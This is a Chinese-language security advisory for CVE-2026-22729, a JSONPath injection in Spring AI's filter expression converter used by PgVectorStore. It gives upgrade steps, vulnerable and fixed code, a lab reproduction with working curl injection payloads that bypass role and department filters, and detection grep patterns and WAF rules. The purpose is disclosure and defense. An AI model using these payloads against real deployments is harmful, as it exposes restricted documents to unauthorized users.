Spring AI PgVectorStore JSONPath 注入漏洞 (CVE-2026-22729)

漏洞概览

字段
CVE 编号 CVE-2026-22729
GHSA 编号 GHSA-rp9g-qx29-88cp
漏洞类型 JSONPath 注入 (CWE-917)
危害等级 高危 (CVSS 8.6)
披露日期 2026 年 3 月 17 日
发现者 SecureLayer7 Blackf0g 团队 (Sandeep Kamble, BugDazz Autonomous Pentest AI)

受影响版本

产品 受影响版本范围
Spring AI 1.0.0 - 1.0.3
Spring AI 1.1.0 - 1.1.2

漏洞描述

Spring AI 是 Spring 生态系统中用于构建 AI 应用的框架,提供了向量存储(Vector Store)抽象层,支持与多种向量数据库(如 PostgreSQL pgvector、Oracle、MariaDB 等)集成,广泛用于 RAG(检索增强生成)场景中的文档检索和相似性搜索。

Spring AI 的 AbstractFilterExpressionConverter 类在处理 FilterExpressionBuilder 生成的过滤表达式时,存在 JSONPath 注入漏洞。该类的 doSingleValue 方法(位于第 149 行)使用 String.format(“”%s"", value) 将用户控制的字符串值直接拼接到 JSONPath 查询中,未对双引号、管道符(||)、逻辑运算符(&&)等特殊字符进行转义。攻击者可通过构造包含恶意 JSONPath 语法的 filter 参数值,绕过基于元数据的访问控制机制(如多租户隔离、角色权限过滤),检索到未授权的敏感文档数据。该漏洞影响所有继承 AbstractFilterExpressionConverter 且未重写 doSingleValue 方法的适配器,包括 PgVectorStore 和 Oracle 向量存储。

修复方案

升级至以下修复版本:

  • Spring AI 1.0.4(适用于 1.0.x 分支)
  • Spring AI 1.1.3(适用于 1.1.x 分支)
  • Spring AI 2.0.0-M3(最新里程碑版本)

Maven 项目升级命令:

1
2
3
4
5
6
<!-- 方式一:直接指定版本 -->
<dependency>
<groupId>org.springframework.ai</groupId>
<artifactId>spring-ai-vector-store</artifactId>
<version>1.0.4</version>
</dependency>

或通过 BOM 管理:

1
2
3
4
5
6
7
8
9
10
11
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.ai</groupId>
<artifactId>spring-ai-bom</artifactId>
<version>1.0.4</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>

执行更新:

1
mvn clean install

Gradle 项目升级:

1
implementation 'org.springframework.ai:spring-ai-vector-store:1.0.4'
1
gradle clean build

参考链接:

类型 链接
Spring 官方安全公告 https://spring.io/security/cve-2026-22729
GitHub Advisory https://github.com/advisories/GHSA-rp9g-qx29-88cp
修复 Commit https://github.com/spring-projects/spring-ai/commit/4602c23
Maven Central 1.0.4 https://central.sonatype.com/artifact/group.springframework.ai/spring-ai/1.0.4
Maven Central 1.1.3 https://central.sonatype.com/artifact/group.springframework.ai/spring-ai/1.1.3
GitHub Release v1.0.4 https://github.com/spring-projects/spring-ai/releases/tag/v1.0.4
GitHub Release v1.1.3 https://github.com/spring-projects/spring-ai/releases/tag/v1.1.3

漏洞分析

攻击路径: 应用程序通过 HTTP API(如 /api/docs/api/search)暴露向量检索接口,攻击者将恶意 payload 注入到 filter 表达式的参数值中(如 accessLeveldepartment)。该值经过 FilterExpressionBuilder.eq() 方法构建为过滤表达式,再由 AbstractFilterExpressionConverter.doSingleValue() 转换为 JSONPath 字符串。由于未转义特殊字符,恶意 JSONPath 语法被注入到最终的 PostgreSQL 查询中。

适用操作系统: 跨平台(Linux / Windows / macOS,依赖 PostgreSQL pgvector 扩展)

是否需要出站连接:

攻击配合方式: 无需配合(攻击者只需向公开的向量检索 API 发送特制 HTTP 请求,无需用户交互或社会工程配合)

漏洞位置: org.springframework.ai.vectorstore.filter.converter.AbstractFilterExpressionConverter 类的 doSingleValue 方法(第 149 行),影响 PgVectorFilterExpressionConverterOracleFilterExpressionConverter 等未重写该方法的子类

根本原因: doSingleValue 方法使用 String.format("\"%s\"", value) 将用户输入直接包裹在双引号中,未调用 Jackson 的 ObjectMapper.writeValueAsString() 进行 JSON 转义。当输入包含 " 字符时,JSONPath 字符串提前闭合,后续内容被解析为 JSONPath 操作符(如 || 逻辑或、&& 逻辑与),导致查询语义被篡改。

漏洞代码(修复前):

1
2
3
4
5
6
7
8
9
// AbstractFilterExpressionConverter.java, line 149
protected void doSingleValue(Object value, StringBuilder context) {
if (value instanceof String) {
context.append(String.format("\"%s\"", value)); // 未转义
}
else {
context.append(value);
}
}

修复后代码(commit 4602c23):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
protected static void emitJsonValue(Object value, StringBuilder context) {
try {
context.append(OBJECT_MAPPER.writeValueAsString(value)); // Jackson 安全转义
}
catch (JacksonException e) {
throw new RuntimeException("Error serializing value to JSON.", e);
}
}

// PgVectorFilterExpressionConverter.java
@Override
protected void doSingleValue(Object value, StringBuilder context) {
if (value instanceof Date date) {
emitJsonValue(ISO_DATE_FORMATTER.format(date.toInstant()), context);
}
else {
emitJsonValue(value, context);
}
}

漏洞复现

目标版本: Spring AI 1.0.3 + PostgreSQL 16 + pgvector 扩展

环境搭建:

  1. 安装 PostgreSQL 并启用 pgvector 扩展:
1
2
3
4
5
6
7
CREATE EXTENSION vector;
CREATE TABLE documents (
id uuid PRIMARY KEY,
content text,
metadata jsonb,
embedding vector(1536)
);
  1. 创建 Spring Boot 应用,配置 PgVectorStore:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@RestController
public class DocController {
private final VectorStore vectorStore;

@GetMapping("/api/docs")
public List<Map<String, Object>> getDocuments(@RequestParam String accessLevel) {
var b = new FilterExpressionBuilder();
var filter = b.eq("accessLevel", accessLevel).build();

SearchRequest request = SearchRequest.defaults()
.withFilterExpression(filter)
.withTopK(10);

return vectorStore.similaritySearch(request)
.stream()
.map(doc -> Map.of("content", doc.getContent(), "metadata", doc.getMetadata()))
.toList();
}
}
  1. 插入测试数据:
1
2
3
4
5
INSERT INTO documents (id, content, metadata) VALUES
(gen_random_uuid(), 'Admin Secret Keys: API keys for production environment.', '{"accessLevel": "admin", "department": "IT"}'),
(gen_random_uuid(), 'Admin Control Panel: Full system access with root privileges.', '{"accessLevel": "admin", "department": "IT"}'),
(gen_random_uuid(), 'User Guide: How to use the dashboard.', '{"accessLevel": "user", "department": "HR"}'),
(gen_random_uuid(), 'Finance Q4 Budget: $5M allocation with executive compensation.', '{"accessLevel": "admin", "department": "Finance"}');

复现步骤:

步骤 1:正常请求(用户级别,应返回 1 条 user 文档)

1
curl "http://localhost:8080/api/docs?accessLevel=user"

预期响应:

1
2
3
4
5
6
[
{
"content": "User Guide: How to use the dashboard.",
"metadata": { "accessLevel": "user", "department": "HR" }
}
]

步骤 2:注入攻击(绕过访问控制,获取 admin 文档)

1
curl 'http://localhost:8080/api/docs?accessLevel=%22%20%7C%7C%20%24.accessLevel%20%3D%3D%20%22admin'

URL 解码后的 payload:" || $.accessLevel == "admin

生成的恶意 JSONPath:

1
$.accessLevel == "" || $.accessLevel == "admin"

最终 SQL 查询:

1
2
SELECT * FROM documents
WHERE metadata::jsonb @@ '$.accessLevel == "" || $.accessLevel == "admin"'::jsonpath

实际响应(攻击成功,返回 3 条 admin 文档):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[
{
"content": "Admin Secret Keys: API keys for production environment.",
"metadata": { "accessLevel": "admin", "department": "IT" }
},
{
"content": "Admin Control Panel: Full system access with root privileges.",
"metadata": { "accessLevel": "admin", "department": "IT" }
},
{
"content": "Finance Q4 Budget: $5M allocation with executive compensation.",
"metadata": { "accessLevel": "admin", "department": "Finance" }
}
]

步骤 3:跨部门数据窃取(HR 用户窃取 Finance 数据)

1
curl 'http://localhost:8080/api/search?query=budget&department=%22%20%7C%7C%20%24.department%20%3D%3D%20%22Finance'

URL 解码后的 payload:" || $.department == "Finance

实际响应:

1
2
3
4
5
6
[
{
"content": "Finance Q4 Budget: $5M allocation with executive compensation.",
"metadata": { "accessLevel": "admin", "department": "Finance" }
}
]

成功标识: 普通 user 角色成功获取了 admin 角色的敏感文档,HR 部门用户成功获取了 Finance 部门的机密数据,访问控制完全失效。

PostgreSQL 直接验证(不依赖 Spring 应用):

1
2
3
4
5
6
7
8
9
-- 正常查询(返回 1 条 HR 文档)
SELECT metadata->>'content' FROM documents
WHERE metadata::jsonb @@ '$.department == "HR"'::jsonpath;
-- 结果: HR Policy

-- 注入攻击(返回 Finance 机密数据)
SELECT metadata->>'content' FROM documents
WHERE metadata::jsonb @@ '$.department == "" || $.department == "Finance"'::jsonpath;
-- 结果: Finance Q4 Budget, Finance Salary Information

攻击调查

日志检查:

检查 Spring Boot 应用日志,搜索包含 JSONPath 注入特征的请求:

1
2
3
4
5
6
7
8
9
# 检查 accessLevel 参数中的注入特征
grep -E "accessLevel=.*(%22|%7C%7C|%26%26)" /var/log/spring-app/access.log

# 检查异常的 JSONPath 表达式(包含 || 或 && 操作符)
grep -E '\$\.[a-zA-Z]+\s*==\s*\"[^\"]*\"\s*\|\|' /var/log/spring-app/application.log

# 示例日志条目(攻击痕迹)
# [VULNERABLE] Access level filter: " || $.accessLevel == "admin
# Generated JSONPath: $.accessLevel == "" || $.accessLevel == "admin"

检查 PostgreSQL 日志,搜索包含 JSONPath 注入的查询:

1
2
3
4
5
# PostgreSQL 日志路径(通常为)
tail -f /var/log/postgresql/postgresql-*.log | grep -E '\|\|.*accessLevel|&&.*department'

# 查找包含 JSONPath 逻辑运算符的异常查询
grep -E "@@\s*'\$\.[^']*\|\|" /var/lib/pgsql/data/log/postgresql-*.log

流量检查:

使用 Zeek/Suricata 检测 JSONPath 注入流量:

1
2
3
4
5
6
7
8
9
10
# Zeek 脚本:检测 JSONPath 注入特征
event http_request(c: connection, method: string, original_URI: string, ...) {
if ( /\%22.*\%7C\%7C.*\%24\./ in original_URI ||
/\%22.*\%26\%26.*\%24\./ in original_URI ) {
Log::write(TeamCymru::HTTP_LOG, [$ts=network_time(),
$src=c$id$orig_h, $dst=c$id$resp_h,
$note="Possible JSONPath Injection in Spring AI",
$uri=original_URI]);
}
}

Wireshark 过滤器:

1
http.request.uri contains "%22%20%7C%7C%20%24" || http.request.uri contains "%22%20%26%26%20%24"

后利用痕迹检查:

1
2
3
4
5
6
7
8
9
10
11
12
# 检查是否有异常的数据访问模式
# 在 PostgreSQL 中查询访问日志(如已启用 pg_audit)
SELECT * FROM pg_audit_log
WHERE query LIKE '%jsonpath%'
AND query LIKE '%||%'
AND timestamp > NOW() - INTERVAL '7 days';

# 检查应用层是否有数据导出迹象
grep -r "similaritySearch" /var/log/spring-app/ | grep -E "accessLevel|department" | wc -l

# 检查是否有大量数据返回的请求(可能为数据窃取)
awk '$NF > 10000' /var/log/nginx/access.log # 检查响应体大于 10KB 的请求

自检方法

版本检查:

检查当前项目中 Spring AI 的版本:

1
2
3
4
5
6
7
8
# Maven 项目
mvn dependency:tree | grep spring-ai

# 或检查 pom.xml
grep -A2 "spring-ai" pom.xml

# Gradle 项目
gradle dependencies | grep spring-ai

如果版本号低于 1.0.4(1.0.x 分支)或 1.1.3(1.1.x 分支),则存在漏洞。

代码审计:

检查是否使用了 FilterExpressionBuilder 并将用户输入直接传入:

1
2
3
# 搜索潜在漏洞代码
grep -rn "FilterExpressionBuilder" --include="*.java" src/
grep -rn "\.eq\|\.ne\|\.gt\|\.lt\|\.in" --include="*.java" src/ | grep -i "request\|param"

PoC 验证(安全测试):

在测试环境中,向向量检索接口发送以下请求:

1
2
# 安全测试 payload(不会造成实际破坏,仅验证漏洞存在)
curl 'http://your-test-server/api/docs?accessLevel=%22%20%7C%7C%20%24.accessLevel%20%3D%3D%20%22nonexistent_12345'

如果返回结果数量多于预期(或返回了其他角色的数据),则漏洞存在。

依赖扫描:

使用 OWASP Dependency-Check 或 Snyk 进行自动化扫描:

1
2
3
4
5
# OWASP Dependency-Check
mvn org.owasp:dependency-check-maven:check

# Snyk
snyk test --file=pom.xml

临时缓解措施

注意: 以下措施仅作为升级前的临时缓解方案,根本解决方案仍需升级至修复版本。

1. 输入验证与白名单(应用层):

在 Controller 层对 filter 参数进行严格白名单校验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@GetMapping("/api/docs")
public List<Map<String, Object>> getDocuments(@RequestParam String accessLevel) {
// 白名单校验:只允许预定义的值
Set<String> allowedLevels = Set.of("user", "admin", "guest");
if (!allowedLevels.contains(accessLevel)) {
throw new IllegalArgumentException("Invalid access level");
}

// 或使用正则校验:禁止特殊字符
if (accessLevel.matches(".*[\"\\|&].*")) {
throw new SecurityException("Invalid input detected");
}

var b = new FilterExpressionBuilder();
var filter = b.eq("accessLevel", accessLevel).build();
// ...
}

2. WAF 规则(网络层):

在 Nginx/WAF 中添加规则拦截 JSONPath 注入特征:

1
2
3
4
5
6
7
# Nginx 规则
location /api/ {
if ($args ~* "%22.*%7C%7C|%22.*%26%26") {
return 403 "Potential injection detected";
}
proxy_pass http://backend;
}

ModSecurity 规则:

1
2
SecRule ARGS "@rx %(22).*%(7C){2}|%(22).*%(26){2}" \
"id:1001,phase:2,deny,status:403,msg:'JSONPath Injection Attempt Detected'"

3. 网络访问控制(基础设施层):

限制向量检索 API 仅对内部可信网络开放:

1
2
3
4
5
6
# iptables 规则:仅允许内网访问 API
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP

# 或在云环境 Security Group 中配置
# 入站规则:仅允许 VPC 内部 CIDR 访问 8080 端口

4. 数据库层权限最小化:

确保应用程序数据库账户仅具有必要的 SELECT 权限:

1
2
3
4
5
6
7
-- 创建只读角色
CREATE ROLE spring_ai_readonly;
GRANT SELECT ON documents TO spring_ai_readonly;

-- 撤销不必要的权限
REVOKE ALL PRIVILEGES ON ALL TABLES IN SCHEMA public FROM spring_ai_app;
GRANT SELECT ON documents TO spring_ai_app;

5. 日志监控增强:

启用详细的应用日志记录,监控异常的 filter 表达式:

1
2
3
4
5
# application.yml
logging:
level:
org.springframework.ai.vectorstore: DEBUG
org.springframework.ai.filter: TRACE

配置告警规则:

1
2
3
4
5
6
7
# 监控 JSONPath 注入特征的告警脚本
#!/bin/bash
tail -f /var/log/spring-app/application.log | while read line; do
if echo "$line" | grep -qE '\|\|.*\$\.|&&.*\$\.'; then
echo "[ALERT] Potential JSONPath injection detected: $line" | mail -s "Security Alert" security@company.com
fi
done

相关漏洞

CVE 描述
CVE-2026-22730 Spring AI MariaDBFilterExpressionConverter SQL 注入漏洞(同一 commit 4602c23 修复)

参考资料